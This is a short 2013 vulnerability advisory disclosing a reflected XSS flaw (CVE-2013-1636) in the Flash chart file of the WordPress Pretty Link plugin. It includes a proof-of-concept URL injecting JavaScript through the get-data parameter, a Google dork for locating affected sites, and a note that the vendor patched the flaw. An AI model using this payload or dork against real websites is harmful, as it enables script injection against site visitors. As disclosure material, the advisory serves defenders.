Exploit Title: Wordpress pretty-link‏ plugin XSS in SWF

Release Date: 20/02/13

Author: hip [Insight-Labs]

Contact: [email protected] | Website: http://insight-labs.org

Software Link: http://downloads.wordpress.org/plugin/pretty-link.1.6.3.zip

Vendor Homepage: http://prettylinkpro.com/

Tested on: XPsp3

Affected version: 1.6.3 before

Google Dork: inurl:/wp-content/plugins/pretty-link/

REF:CVE-2013-1636

Introduction:

Pretty-link is Shrink, beautify, track, manage and share any URL on or off of your WordPress website. Create links that look how you want using your own domain name!

XSS - Proof Of Concept:

vulnerable path:
/wp-content/plugins/pretty-link/includes/version-2-kvasir/open-flash-chart.swf
vulnerabile parameter:get-data

POC:
/wp-content/plugins/pretty-link/includes/version-2-kvasir/open-flash-chart.swf?get-data=(function(){alert(xss)})()

Patch:

– Vendor was notified on the 23/01/2013
– Vendor released version 1.6.3 on 25/01/2013 Fixed the bug
– REF:http://wordpress.org/extend/plugins/pretty-link/changelog/